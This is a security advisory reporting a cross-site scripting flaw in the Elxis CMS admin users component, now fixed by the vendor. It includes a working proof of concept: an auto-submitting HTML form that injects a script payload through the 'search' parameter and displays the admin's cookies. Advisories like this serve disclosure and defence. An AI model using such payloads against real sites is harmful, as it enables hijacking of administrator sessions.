XSS vulnerability in Elxis CMS



Vulnerability ID: HTB22614
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_elxis_cms.html
Product: Elxis CMS
Vendor: Elxis Team ( http://www.elxis.org/ )
Vulnerable Version: 2009.2 electra rev2631 and probably prior versions
Vendor Notification: 20 September 2010
Vulnerability Type: XSS (Cross Site Scripting)
Status: Fixed by Vendor
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "administrator/components/com_users/admin.users.php" script to properly sanitize user-supplied input in "search" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/administrator/index2.php"; method="post" name="main" >

<input type="hidden" name="search" value='1"><script>alert(document.cookie)</script>' />
<input type="hidden" name="filter_logged" value="0" />
<input type="hidden" name="filter_enabled" value="-1" />
<input type="hidden" name="filter_type" value="Super Administrator" />
<input type="hidden" name="filter_expired" value="-1" />
<input type="hidden" name="limit" value="20" />
<input type="hidden" name="limitstart" value="0" />
<input type="hidden" name="option" value="com_users" />
<input type="hidden" name="task" value="" />
<input type="hidden" name="boxchecked" value="0" />
<input type="hidden" name="hidemainmenu" value="0" />

</form>
<script>
document.main.submit();
</script>

Solution: Upgrade to the most recent version